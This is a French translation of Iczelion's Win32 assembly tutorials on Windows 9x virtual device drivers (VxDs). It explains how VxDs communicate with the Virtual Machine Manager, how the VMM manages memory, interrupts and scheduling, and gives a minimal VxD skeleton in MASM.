L'abréviation du 'Virtual Device Driver' est VxD. x est le placeholder pour le nom du dispositif utilisé, comme Virtual Keyboard Driver, ou Virtual Mouse Driver et cetera. Les VxDs sont les clefs de la réussite pour virtualiser le matériel. Souvenez-vous, les programmes sous DOS pensent qu'ils possèdent tout dans le système, qu'ils sont seuls sur la machine et que la souris le clavier et le reste sont directement et uniquement à leur service. Quand ils tournent sur des machines virtuelles, Windows doit leur fournir des remplaçants de dispositifs réels. C'est ça les VxDs, ce sont des remplaçants de souris, clavier… mais virtuels. Les VxDs d'habitude virtualisent quelques dispositifs matériel. Ainsi, par exemple, quand un programme DOS pense qu'il communique avec le clavier, en réalité c'est le dispositif virtuel du clavier qui travaille avec lui. Un VxD prend d'habitude le contrôle du dispositif (du matériel) réel et gère la division de ce dispositif entre plusieurs VMs.
(En fait votre ordinateur est divisé en plusieurs 'ordinateurs virtuels' ou 'Machines Virtuelles (VMs)'. Vous n'avez qu'un clavier mais pour que chaque Machine Virtuelle puisse l'utiliser, un VxD (un clavier virtuel) est calé entre chaque Machine Virtuelle et le vrai clavier physique. Le Manager de Machines Virtuelles (VMM) octroie un laps de temps machine à tour de rôle à chacune des Machines Virtuelles où un seul programme tourne dessus.)
Cependant, il n'y a aucune règle pour qu'un VxD DOIVENT forcément être associé à un dispositif de matériel précis. Il est vrai que les VxDs soient conçus pour virtualiser des dispositifs matériel (normalement réels) mais nous pouvons aussi considérer les VxDs comme étant des DLL de priorité Ring-0. Par exemple, si vous souhaitez utiliser quelques particularités qui ne peuvent seulement être réalisées qu'en Ring 0, vous pouvez coder un VxD qui exécute ce travail pour vous. À cet égard, vous pouvez vous représenter le VxD comme étant l'extension de votre programme puisque il virtualise un quelconque dispositif(Device) matériel.
Avant d'aller plus loin et d'essayer de créer vos propres VxDs, laissez-moi d'abord faire le point à propos de certaines choses sur eux.
  • Les VxDs sont spécifique à Windows 9x. Ils ne peuvent pas fonctionner sur Windows NT. Ainsi si votre programme dépend de VxDs, il ne sera pas compatible sur une plate-forme Windows NT.
  • Les VxDs sont les entités les plus puissantes du système. Puisqu'ils sont capables de tout vis à vis du système, ils sont aussi extrêmement dangereux. Un VxD mal conçu peut faire s'effondrer le système. Il n'y a aucun garde-fou contre les VxDs mal faits.
  • Habituellement, il y a des tas de façons d'arriver au but désirez sans recourir à aucun VxD. Pensez et pensez deux fois avant d'opter pour une solution de type VxD. S'il y a une autre façon d'exécuter la tâche en Ring 3, préférez-la.
Il y a deux types de VxD sous Windows 95
  • Les 'VxDs Statics'
  • Et les 'VxDs Dynamic'
Les VxDs Statiques sont ces VxDs qui sont chargés pendant le bootup (le démarrage) du système et reste chargé jusqu'à l'arrêt du système. Ce type de VxD provient des vieux jours de Windows 3.x. Les VxDs Dynamiques sont uniquement disponibles sous Windows 9x. Les VxDs Dynamiques peuvent être chargés/déchargés si nécessaires. La plupart d'entre eux sont des VxDs qui contrôlent les Plug and Play Devices (des périphériques qui sont automatiquement détectés par Windows au moment de leur installation). Ces VxDs là, sont chargés par le 'Manager de Configuration et le 'Superviseur d'Entrée/Sortie'. Vous pouvez aussi charger/décharger ces VxDs dynamiques pour vos applications win32.

Communication Entre les VxDs :

Les VxDs (Les Virtuals Devices, tels que le clavier virtuel) et le VMM (le Manager de Machine Virtuelle), communiquent entre eux de trois façons possibles :
  • Par Messages Windows de Control
  • Par Services APIs
  • Par Callbacks
Les Messages de Control: Le VMM envoie des messages de contrôle au système vers TOUS les VxDs chargés dans le système quand certains événements intéressants se produisent. Dans ce cas précis, considérez que les messages de contrôle sont un peu comme de simples 'Messages de Fenêtres' en Ring-3 dans des applications Win32. Chaque VxD a une fonction qui reçoit et traite les messages de contrôle appelée device control procedure. Il y a un peu moins de 50 systèmes de 'Messages de Contrôle'. La raison pour qu'il n'y ait pas beaucoup de messages de contrôle c'est qu'il y a souvent beaucoup de VxDs chargés dans le système et que chacun d'entre eux obtient un accès dans chaque message de contrôle, s'il y a trop de messages de contrôle, le système rectifiera avec une halte. Ainsi vous trouverez seulement les messages vraiment importants liés aux VMs comme quand une VM (Machine Virtuelle) est créée, détruite ou autre. En plus du système de 'Messages de Contrôle', un VxD peut définir ses propres 'Messages de Contrôle' sur mesures qu'il peut utiliser pour communiquer avec d'autres VxDs qui les comprend.

Service APIs: Un VxD (un Device Virtuel), y compris le VMM (le Manager de Machine Virtuelle), exporte d'habitude un jeu des fonctions publiques qui peuvent être appelées par d'autres VxDs. Ces fonctions sont appelées des services VxD. Le mécanisme d'appel de ces services VxD diffère tout à fait de celui des applications en Ring-3. Chaque VxD qui exporte des services VxD DOITpossèder un numéro ID unique. Vous pouvez obtenir un tel n°ID de Microsoft. Le n°ID est un nombre sur 16 bits qui identifie uniquement un VxD. Par exemple,

    UNDEFINED_DEVICE_ID    EQU 00000H
    VMM_DEVICE_ID          EQU 00001H
    DEBUG_DEVICE_ID        EQU 00002H
    VPICD_DEVICE_ID        EQU 00003H
    VDMAD_DEVICE_ID        EQU 00004H
    VTD_DEVICE_ID          EQU 00005H
Vous pouvez voir que le VMM (Manager de Machine Virtuelle) possède le n°ID 1, le VPICD a l'ID n°3 et ainsi de suite. Le VMM emploie cet ID unique pour trouver le VxD qui exporte les 'services VxD' demandés. Vous devez aussi choisir le service que vous voulez appeler par son index dans la table de branche de service. Quand un VxD exporte des services VxD, il stocke les adresses de ces services dans une table. Le VMM emploiera l'index fourni pour placer l'adresse du service souhaité dans la table de service. Par exemple, si vous voulez appeler GetVersion qui est le premier service, vous devez spécifier 0 (qui est l'index zéro-basé). Le mécanisme réel d'appel des 'services VxD' implique l'interruption 20 (int 20h). Dans votre code paraîtra l'instruction int 20h suivi d'une valeur de type dword qui sera composée du n°ID du dispositif (du clavier par exemple) et de l'index du service. Par exemple, si vous voulez appeler le service numéro 1 étant exporté par un VxD qui a le n°ID de dispositif de 000Dh, le code sera le suivant :
    int 20h
    dd 000D0001h
Le mot de poids fort du dword qui suit l'instruction int 20h contient le n°ID du Device. Le mot de poids faible est l'index zéro-basé dans la table de service.
Quand int 20h est exécuté, le VMM prend le contrôle et examine le dword qui suit immédiatement cet instruction. Il en extrait alors le n°ID du dispositif et s'en sert pour localiser le VxD et emploie ensuite l'index de service pour y placer l'adresse du service désirée appartenant au VxD.
Vous pouvez remarquer que cette opération prend un certain temps. Le VMM (Manager de Machine Virtuelle) doit gaspiller du temps en localisant le VxD et l'adresse du service désiré. Ainsi le VMM triche un peu. Après que la première opération int 20h se soit passé, le VMM rompt la liaison. En rompant la liaison, ça signifie que le VMM remplace l'int 20h ainsi que le dword qui le suivit par un appel direct au service. Donc ce petit bout de code int 20h sera transformé en :
    call dword ptr [VxD_Service_Address]
Ce tour de passe passe marche parce que int 20h+dword prend 6 octets, qui est exactement de la mêmes taille que l'instruction call dword ptr. Donc les appels suivants sont rapides et efficaces. Cette méthode a son pour et son contre. Son bon côté, c'est de réduire le travail de chargement du VMM et du VxD parce qu'ils ne doivent pas fixer TOUS les appels de service de VxDs quand on les charge. Les appels qui ne sont jamais exécutés resteront non modifiés. Le mauvais côté, c'est qu'il est impossible de décharger un VxD statique une fois qu'on à fait appel à ses services et q'on s'y soit lié. Depuis que le VMM fixe les appels avec les adresses réelles des services VxD, si le VxD qui fournit ces services est déchargé de la mémoire, alors d'autres VxDs qui dépendent de ces services 'crasheront' probablement le système en faisant appel à des adresses mémoire invalides. Il n'y a aucun mécanisme pour assurer les liaisons. Le preuve c'est que les VxDs dynamiques ne sont pas appropriés comme les VxDs service providers.

Callbacks: Les fonctions callbacks ou callback sont des fonctions du VxD qui existent pour être appelés par d'autre VxDs. Ne faîtes pas la confusion entre les 'callbacks' et les 'VxD services'. Les callbacks ne sont pas publiques comme les services. Ce sont des fonctions privées que les adresses d'un VxD donnent à d'autres VxDs specifiques dans certaines situations. Par exemple, quand un VxD entretient une interruption matérielle, puisque le VMM n'est pas reparticipant (il ne traite qu'avec 1 seul), le VxD ne peut pas employer de 'VxD services' lesquels peuvent provoquer des fautes de page (en essayant de recommuniquer avec le VMM). Le VxD peut donner l'adresse de sa propre fonction (le callback) au VMM pour que celui-ci puisse appeler la fonction quand le VMM est capable de tolérer des fautes de page. Le VxD peut alors reprendre son travail quand sa fonction callback est appelée. Le concepte de callback n'est pas spécifique aux VxDs. Beaucoup d'APIs de Windows les emploient aussi. Le meilleur exemple est peut-être la 'procédure de fenêtre'. Vous spécifiez l'adresse d'une procédure de fenêtre dans la structure WNDCLASS ou WNDCLASSEX et la passez à Windows grâce à l'Appel de RegisterClassEx ou RegisterClass. Windows appellera votre procédure de fenêtre quand il y aura des messages destinés à cette fenêtre. Un autre exemple est la procédure de Hook. Votre application donne l'adresse de la procédure de Hook à Windows pour que celui-ci puisse l'appeler quand des événements intéressant pour votre application se produisent.

Ces trois méthodes servent à la communication entre VxDs. Il y a aussi les interfaces pour V86, le mode protégé et les applications Win32. Je couvrirai l'interface VxD pour les applications Win32 dans les Tutorials suivants.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Virtual Machine Manager: Overview

Manager de Machine Virtuelle (VMM)

(Virtual Machine Manager)

Le Manager de Machine Virtuelle (VMM) est le véritable système d'exploitation qui se cache derrière Windows 95. Il construit et entretient la structure de la gestion des machines virtuelles. Il fournit aussi beaucoup de services importants à d'autres VxDs. Les trois services importants sont :
  • La gestion de la mémoire (Memory management)
  • Le traitement des interruptions (Interrupt handling)
  • La planification du lien (Thread scheduling)

Gestion de la mémoire (Memory Management)

Le VMM (Le Manager de Machine Virtuelle) emploie la particularité de pagination du processeur Intel 80386 (et des suivants) pour créer un espace d'adresses 32 bits virtuel pour le système de VM (Machine Virtuelle). Il divise l'espace d'adresse en quatre secteurs distincts.
  • La région V86 s'étendant de l'adresse 0h à 0010FFEFh. Cette région appartient à la machine virtuelle actuellement en service.
  • La région privée appartenant à l'application s'étendant d'une adresse vers le 4Mo jusqu'à 2Go. C'est le secteur où les applications win32 (les programmes) sont exécutés. Chaque process win32 aura son propre espace privé de 2Go (moins 4 Mo).
  • La 3e région est partagée par plusieurs applications et elle s'étendant de l'espace d'adresses de 2Go à 3Go. Ce secteur est partagé par TOUTES les applications du système VM (le système gérant les Machines Virtuelles) . Cette région est celle où le système lui-même réside, on parle ici des DLLs (user32, kernel32 et gdi32). Toutes les applications (progs) Win16 tournent également ici parce qu'elles ont un comportement différent : Elles sont habituées à lire/écrire dans d'autres progs win16 en mémoire. Dans cette région, chaque application Win16 peut être côte à côte d'autres applications Win16. Les fichiers Memory-Mappés sont stockés ici en tant que mémoire réservée pour les appels du DPMI.
  • La région 'système partagé' s'étendant de l'adresse 3Go à 4Go. C'est l'emplacement où le VMM et les VxDs fonctionnent.
Le Manager de Machines Virtuelles (VMM) fournit trois types de services en mémoire aux VxDs
  • Services de mémoire Page-based . Cette sorte de services alloue/gère la mémoire dans des pages de 4 Ko. Ce sont les services de mémoire de plus bas niveau disponibles. Tous les autres services de mémoire emploient les 'Services de mémoire Page-based' comme leur base.
  • Heap memory services. Les services de mémoire de masse (de grande quantité). Ils gèrent de multiples petits blocs de mémoire. C'est un service de gestion de mémoire de haut-niveau, construits à partir des services de mémoire Page-based. Qui sont un peu les briques unitaires de ceux-ci.
  • Les services de liste . Ils gèrent des blocs de mémoire de taille fixe, qui conviennent parfaitement pour la réalisation de listes liées.

Traitement des interruptions (Interrupt handling)

Ici on parle du fait de suspendre un programme un court instant pour pouvoir poursuivre le cours d'un autre qui tourne en parallèle puis reprendre le fil de ce premier là où on en était. Et ainsi de suite...
Il y a les interruptions du mode protégé, consignées dans la Table Descriptive des Interruptions (IDT). Le VMM (Manager de Machines Virtuelles)surveille l'IDTs (les interruptions) des VMs (des machines virtuelles) avec l'aide de VxDs (Virtuals Devices, matériels virtuels). Normalement le VMM contrôle pratiquement toutes les entrées de la table des interruptions (l'IDT) . Le VMM contrôle des VxDs, et fait en sorte que la première interruption sauvegarde sur la pile l'état du programme interrompu puis transfert le contrôle à d'autres VxDs qui s'occupent à leur tour du nouveau process en cours et de ses interruptions. Quand ce second process sera à son tour interrompu, le VMM transférera le contrôle à la routine de réexpédition qui rétablira l'état du premier programme interrompu et reprendra l'exécution au point pile où a eu lieu l'interruption.
Cependant, cette description reste un peu simplette. Le renvoi ne peut pas être immédiat parce que le temps d'attente du VM interrompu peut expirer. Les VxDs ont la possibilité d'installer des manipulateurs d'interruption grâce à certains services du VMM tels que Set_PM_Int ou Hook_V86_Int_Chain. Les VxDs ne doivent pas modifier directement les entrées de l'IDT (Table Descriptive des Interruptions) (mais vous pouvez le faire si vous êtes sûrs de ce que vous faîtes.)

La planification du lien (Thread scheduling)

Le VMM emploie deux moyens de planification pour parvenir à créer le mode Multi-Taches entre les liens et les VMs.
  • Le planificateur primaire
  • Le 'time-slicer' (le temps de latence) ou Planificateur secondaraire
La tâche du planificateur primaire est de choisir un lien pour lui attribuer la priorité d'exécution la plus haute et ainsi le lancer. Ce choix se produit alors même que le VMM entretient une interruption (un peu comme un timer pour interruption). Ce résultat fait que l'on donnera au lien/VM le contrôle dès que le VMM arrêtera d'entretenir l'interruption. Le planificateur primaire travaille sous la règle: 'sans compromis'. Donc pour un lien, soit il sera relancé soit il restera suspendu. Uniquement un seulement lien est choisi. Le VMM ou d'autres VxDs ont la possibilité d'augmenter ou de réajuster la priorité d'exécution d'un lien, au travers des services du VMM. Par exemple, si une interruption matériel se produit, alors le VMM augmentera la priorité d'exécution du manipulateur d'interruptions pour qu'il ait le droit de l'achever au plus vite.
Le planificateur secondaire emploie les services du planificateur primaire pour répartir le temps du CPU (de l'Unité Centrale) entre les différents liens. Ainsi chacun d'eux se partagent la priorité d'exécution la plus haute pendant un même laps de temps. Quand un lien reste ouvert et que sa tranche de temps expire, alors le planificateur secondaire augmente la priorité d'exécution du lien suivant pour que ce dernier soit choisi à son tour par le planificateur primaire. Et c'est lui qui prend la alors la main.

Vous pouvez obtenir plus de détails sur ces sujets grâce aux documents Walter Oney's Systems Programming for Windows 95 ainsi que la documentation Windows 95 DDK.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Virtual Device Driver Skeleton

Squelette d'un Driver de Matériel Virtuel
Ou squelette d'un VxD
(Virtual Device Driver Skeleton)

Maintenant que vous connaissez quelques bases à propos du VMM (Manager de Machines Virtuelles) et des VxDs (Drivers de Dispositifs (matériels) Virtuels), nous allons voir comment coder un VxD. Vous avez besoin du kit de Développement sur les Drivers de Dispositif de Windows 95/98 (Windows 95/98 Device Driver Development Kit). Il est essentiel que vous l'ayez. Windows 95 DDK est disponible seulement aux abonnés MSDN. Cependant, Windows 98 DDK est disponible gratuitement chez Microsoft. Vous pouvez aussi employer Windows 98 DDK pour développer des VxDs même s'il est orienté vers WDM. Vous pouvez télécharger Windows 98 DDK à partir de http://www.microsoft.com/hwdev/ddk/install98ddk.htm?
Vous pouvez télécharger le pack complet, environ 30 MO ou vous pouvez télécharger seulement les parties qui vous intéressent. Si vous voulez ne pas télécharger le paquet entier, n'oubliez pas de télécharger la documentation de Windows 95 DDK incluse dans other.exe
Windows 98 DDK contient MASM version 6.11d. Vous devez vous mettre à jour à la dernière version. Pour savoir où télécharger la dernière version, vérifiez ma page principale.
Windows 9x DDK contient plusieurs fichiers 'include' (*.inc) essentiels lesquels ne sont pas inclus dans le pack MASM32.
Vous pouvez télécharger l'exemple de ce tutorial ici.

Format de fichier 'LE'

Les VxDs emploient les formats de fichiers de type 'exécutables linéaires' (LE). C'est le format de fichier conçu pour la version 2.0 OS/2. Ce format peut supporter à la fois les code 16bit et 32bits, ce qui est une des exigences des VxDs. Rappelez-vous des vieux jours des VxDs de Windows 3.x. En ce temps là, Windows bootait sous DOS, donc les VxDs devaient être capable de faire quelques initialisations en mode réel (une seule machine réelle) avant que Windows ne commute la machine en mode protégé (plusieurs machines virtuelles). Le mode réel de code 16 bits doit être dans le même fichier exécutable que le code de mode 32 bits protégé. Donc le format de fichier LE est le choix logique. Les Drivers de Windows NT n'ont pas besoin de traiter avec l'initialisation de mode réel, c'est pourquoi ils n'utilisent pas le format de fichier LE. A la place, ils emploient le format de fichier PE.

Le .CODE et les .DATA dans un fichier 'LE' sont stockés dans des segments lesquels ont des attributs différents pendant l'exécution. Voici ci-dessous les classes de segments disponibles.

  • LCODE Page-locked code et data. Ce segment est fermé en mémoire. Autrement dit, ce segment ne sera pas paginé sur le disque, c'est pourquoi vous devez employer cette classe de segment judicieusement afin de ne pas gaspiller la précieuse mémoire du système. Le code et les données qui doivent être présents en mémoire à tout moment doivent être dans ce segment. Particulièrement les manipulateurs d'interruption matériel. (hardware interrupt handlers)
  • PCODE Pageable code. Ce segment est 'pageable' par le VMM (Paginable, il l'utilise le feuillete et écrit dedans comme il l'entend). Le code dans ce segment n'a pas besoin d'être tout le temps présent en mémoire. Le VMM mettera à jours ce segment sur le disque s'il a besoin de mémoire physique.
  • PDATA Pageable data.
  • ICODE Initialization-only code. Le code dans ce segment est employé uniquement pendant l'initialisation du VxD. Après l'initialisation, ce segment sera abandonné par le VMM pour réclamer la mémoire physique.
  • DBOCODE debug-only code et data. Le code et des données de ce segment sont utilisés lorsque vous faîtes tourner le VxD sous un débugger. Il contient le Handler pour le message de contrôle Debug_Query, par exemple.
  • SCODE Static code et data. Ce segment restera toujours présent en mémoire même lorsque le VxD est déchargé. Ce segment est particulièrement utile pour les VxDs dynamiques quand ils doivent être chargés/déchargés plusieurs fois pendant une session de Windows et veulent se rappeler de la dernière configuration/état.
  • RCODE Real-mode initialization code et data. Ce segment contient le code (16 bits) et des données pour l'initialisation du mode réel. (1 seule machine réelle, pas de machines virtuelles)
  • 16ICODE USE16 protected-mode initialization data. Ce segment est un segment 16 bits qui contient le code que le VxD (le Driver de Matériel Virtuel) copiera du mode protégé vers le mode V86. Par exemple, si vous voulez coller un quelconque code V86 dans une VM (une Machine Virtuelle), le code que vous avez l'intention de coller doit être dans ce segment. Si vous mettez ce code dans un autre segment, l'assembleur reproduira mal le code, c'est-à-dire qu'il produira un code 32 bits au lieu d'un 16 bits comme ce qui est attendu.
  • MCODE Locked message strings. Ce segment contient les chaînes de caractères (du texte) lesquelles sont compilées à l'aide de messages macros du VMM. C'est pour vous aide à créer les versions internationales de votre Driver.
Ça ne signifie pas que votre VxD doive forcément avoir TOUS ces segments. Vous pouvez choisir uniquement les segments que vous voulez employer dans votre VxD. Par exemple, si votre VxD n'a pas l'initialisation du mode réel, il ne doit pas présenter le segment RCODE.
La plupart du temps, vous utiliserez LCODE, PCODE et PDATA. En tant qu'auteur de VxDs, c'est à vous de juger et de choisir les segments appropriés pour vos .CODE/.DATA. En général, vous devez employer PCODE et PDATA autant que possible parce que le VMM peut paginer ces segments en mémoire si nécessaire. Vous devez employer LCODE pour stocker les manipulateurs d'interruptions matériel (hardware interrupt handlers) et les services qu'ils appellent.
N'employez pas directement ces classes de segment. Vous devez en fait déclarer des segments basés sur ces classes. Ces déclarations de segment sont stockées dans un fichier de définition (.def). La totalité du fichier de définition pour un VxD est ci-dessous :
VXD FIRSTVXD
SEGMENTS
    _LPTEXT     CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE   CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA   CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE  CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT      CLASS 'ICODE'    DISCARDABLE
    _IDATA      CLASS 'ICODE'    DISCARDABLE
    _PTEXT      CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE  CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA      CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT      CLASS 'SCODE'    RESIDENT
    _SDATA      CLASS 'SCODE'    RESIDENT
    _DBOSTART   CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE    CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE      CLASS 'RCODE'
EXPORTS
    FIRSTVXD_DDB  @1
La première déclaration est celle du nom du VxD. Le nom d'un VxD DOIT ÊTRE tout en majuscule. J'ai fais l'expérience avec des noms minuscules et le VxD a tout refusé d'exécuter sauf son propre chargement en mémoire.
L'étape suivante c'est la déclaration des segments. La déclaration consiste en trois parties : le nom du segment, la classe du segment et la propriété souhaitée pendant l'exécution de ce segment. Vous pouvez voir qu'il y a beaucoup de segments basés sur une même classe, par exemple, _LPTEXT, _LTEXT, _LDATA sont tous basées sur la classe de segment LCODE avec exactement les mêmes propriétés. Ces segments sont déclarés ainsi pour pouvoir comprendre plus facilement le code du programme écrit. Par exemple, LCODE peut contenir à la fois du code et des données. Alors que ce sera plus facile pour le programmeur s'il peut stocker les données dans le segment _LDATA et le code dans le segment _LTEXT. Et en fin de compte, ces deux segments seront combinés dans un unique segment, dans le fichier exécutable final.
Un VxD exporte un et seulement un symbole, son bloc descripteur de Matériel (DDB) ou (device descriptor block). Le DDB est en réalité une structure qui contient tout ce que le VMM a besoin de savoir sur un VxD. Vous DEVEZ exportez le DDB dans le fichier de définition de module.
La plupart du temps, vous pouvez employer le susdit fichier '.DEF' dans de nouveaux projets de VxDs. Vous devez seulement changer du nom du VxD dans la première et dernière ligne du fichier '.DEF'. Les déclarations de segment sont des overkills (des surplus non adaptés à lui) pour un projet de VxD en asm. Ils servent à l'écriture d'un VxD en C, cependant leur utilisation dans un projet asm reste correcte. Vous obtiendrez plusieurs messages d'avertissement mais votre VxD sera quand même assemblé. Vous pouvez vous débarrasser de ces messages d'avertissement en supprimant les déclarations de segment que vous n'employez pas dans votre projet.
vmm.inc contient beaucoup de macros pour la déclaration de segments dans votre fichier source.
_LTEXT | VxD_LOCKED_CODE_SEG
_PTEXT | VxD_PAGEABLE_CODE_SEG
_DBOCODE | VxD_DEBUG_ONLY_CODE_SEG
_ITEXT | VxD_INIT_CODE_SEG
_LDATA | VxD_LOCKED_DATA_SEG
_IDATA | VxD_IDATA_SEG
_PDATA | VxD_PAGEABLE_DATA_SEG
_STEXT | VxD_STATIC_CODE_SEG
_SDATA | VxD_STATIC_DATA_SEG
_DBODATA | VxD_DEBUG_ONLY_DATA_SEG
_16ICODE | VxD_16BIT_INIT_SEG
_RCODE | VxD_REAL_INIT_SEG

Chaque macro a son homologue de fin. Par exemple, si vous voulez déclarer le segment _LTEXT dans votre fichier source, vous le ferez ainsi :

VxD_LOCKED_CODE_SEG

<Placez votre code ici>

VxD_LOCKED_CODE_ENDS

Squelette d'un VxD

Maintenant que vous savez des connaissances sur les segments des fichier (LE), nous pouvons passer au fichier source. Une chose que vous pouvez voir à propos de la programmation d'un VxD est l'utilisation un peu lourde des macros. Vous trouverez des macros partout en programmant des VxDs. Ça prend une certaine attention pour les utiliser. Les macros nous sont fourni pour cacher certains détails de programmations plutôt ardues et dans certains cas, faire que le code source soit plus clair. Si vous êtes curieux, vous pouvez lire la définition de ces macros dans divers fichiers include (*.inc) tel que vmm.inc.
Voici le code source du squelette d'un VxD :
.386p
include vmm.inc

DECLARE_VIRTUAL_DEVICE FIRSTVXD,1,0, FIRSTVXD_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch FIRSTVXD
End_control_dispatch FIRSTVXD

end

À première vue, le code source ne ressemble pas à celui d'un code source asm. C'est à cause de l'utilisation des macros. On va analyser ce code source et vous le comprendrez bientôt.

.386p
On dit à l'assembleur que nous voulons employer jeu d'instruction 80386, incluant les instructions privilégiées du CPU. On peut aussi employer .486p ou .586p.
include vmm.inc
On doit inclure vmm.inc dans chaque code source d'un VxD parce qu'il contient les définitions des macros qu'on utilise dans le fichier source. On peut en inclure d'autres pour inclure des fichiers si besoin.
DECLARE_VIRTUAL_DEVICE FIRSTVXD,1,0, FIRSTVXD_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER
Comme vu précédemment, le VMM apprend tout ce qu'il a besoin de savoir sur un VxD en regardant leBloc Descriptif du Device (matériel)(DDB). Le bloc descripteur du Device est une structure qui contient les informations essentielles à propos du VxD tel que son nom, son n°ID, son entrypoints de ses services VxD (s'ils existent) et cetera. Vous pouvez chercher cette structure dans VMM.inc. Il est déclaré en tant que VxD_Desc_Block. Vous exporterez cette structure dans le fichier .DEF. Il y a 22 membres dans cette structure, mais vous n'aurez généralement besoin d'en remplir que quelques-uns. Ainsi VMM.inc contient une macro qui initialisera et remplira les membres de la structure pour vous. Cette macro est DECLARE_VIRTUAL_DEVICE. Elle présente le format suivant :

Declare_Virtual_Device Name, MajorVer, MinorVer, CtrlProc, DeviceID, InitOrder, V86Proc, PMProc, RefData

Une chose que vous dont vous pouvez vous rendre compte c'est que les labels du code source d'un VxD sont insensibles. Vous pouvez aussi bien utiliser des caractères minuscules que majuscules ou bien une combinaison des deux. On va examiner chaque paramètre de Declare_virtual_device.

  • Name est le nom du VxD. La longueur maximale est de 8 caractères. Il DOIT être en MAJUSCULES. Le nom doit être unique parmi les VxDs du système. La macro emploie aussi ce nom pour créer le nom du DDB en ajoutant _DDB au nom du DEVICE. Ainsi si vous employez FIRSTVXD comme nom du VxD, alors la macro Declare_Virtual_Device déclarera le nom du DDB en tant que FIRSTVXD_DDB. Rappelez-vous que, vous devrez aussi exporter le DDB dans le fichier .DEF également. Donc leurs noms doivent correspondre dans le fichier source et dans le fichier .DEF.
  • MajorVer et MinorVer sont les versions principales et mineures(secondaires) de votre VxD
  • CtrlProc est le nom de la procédure de contrôle du device de votre VxD. Une procédure de contrôle de Device est une fonction qui reçoit et traite des messages de contrôle pour un VxD. Vous pouvez la représenter comme l'équivalent d'une procédure de fenêtre. Puisque nous emploierons la macro Begin_Control_Dispatch pour créer notre procédure de contrôle de Device, nous devons utiliser son nom standard qui est de la forme VxDName_Control. La macro Begin_Control_Dispatch ajoute _Control au nom qu'on lui a passé (et d'habitude nous lui passons le nom du VxD) donc nous devons spécifier le nom de notre VxD et lui ajouter _Control dans le paramètre CtrlProc.
  • DeviceID est le n°ID unique (16 bits) de votre VxD. Vous avez besoin de l'ID si et seulement si votre VxD doit rencontrer une des situations suivantes:
    • Votre VxD exporte des services VxD vers d'autres VxDs pour qu'ils s'en servent. Lorsque l'interface 'int 20h' utilise le n°ID du Device pour identifier le VxD, il est impératif que votre VxD doive avoir un n° unique.
    • Votre VxD fait part de son existence aux applications qui tournent en mode réel, pendant l'initialisation, grâce à la fonction 1607h de l'interruption 2F (int 2Fh).
    • Certains logiciels en mode réel (TSR) emploiera la fonction 1605h de l'int 2Fh, pour charger votre VxD.
    Si votre VxD n'a pas besoin d'un n°ID de Device unique, vous pouvez spécifier UNDEFINED_DEVICE_ID dans ce champ. Si vous avez besoin d'un n°ID unique, vous devez demander à Microsoft pour en obtenir un.
  • InitOrder est l'ordre d'initialisation, en bref on charge l'ordre. Le VMM charge les VxDs dans l'ordre indiqué. Chaque VxD aura un numéro d'ordre de charge. Par exemple,
      VMM_INIT_ORDER        EQU 000000000H
      DEBUG_INIT_ORDER      EQU 000000000H
      DEBUGCMD_INIT_ORDER   EQU 000000000H
      PERF_INIT_ORDER       EQU 000900000H
      APM_INIT_ORDER        EQU 001000000H

    Vous pouvez voir que VMM, DEBUG et DEBUGCMD sont les premiers VxDs qui seront chargés, suivit par PERF puis APM. Le VxD ayant la valeur d'ordre d'initialisation la plus basse est chargé le premier. Si votre VxD exige les services d'autres VxDs pendant l'initialisation, vous devez spécifier une valeur d'ordre d'initialisation plus grande que celle du VxD que vous souhaitez appeler, ainsi au moment où votre VxD est chargé, le VxD est déjà présent en mémoire prêt pour vous. Si votre VxD ne se soucie pas de l'ordre d'initialisation, spécifiez UNDEFINED_INIT_ORDER dans ce paramètre.

  • V86Proc et PMProc Votre VxD peut exporter des APIs pour qu'ils soient utiliser par des Programmes en mode protégé ou V86. V86Proc et PMProc spécifient les adresses de ces APIs. Rappelez-vous que, les VxDs (Drivers de Matériel Virtuels) existent principalement pour la surveillance des VMs (des Machines Virtuelles) et qu'une VM autre que celle du système VM fait tourner des programmes DOS ou mode protégé. Il est temps de voir que les VxDs peuvent fournir l'appui d'APIs pour des PROGRAMMES en mode protégé ou DOS. Si vous n'exportez pas ces APIs, vous pouvez omettre ces deux paramètres.
  • RefData représente des données de référence employées par l'Input Output Supervisor (IOS) (le détecteur d'entrée/sorties). La seule occasion où vous emploierez ce paramètre c'est quand vous coderez un Device par morceaux pour l'utiliser avec l'IOS. Vous pouvez omettre ce paramètre si votre VxD n'est pas un Driver en plusieurs morceaux.
Ensuite nous avons la macro Begin_Control_Dispatch.
Begin_control_dispatch FIRSTVXD
End_control_dispatch FIRSTVXD
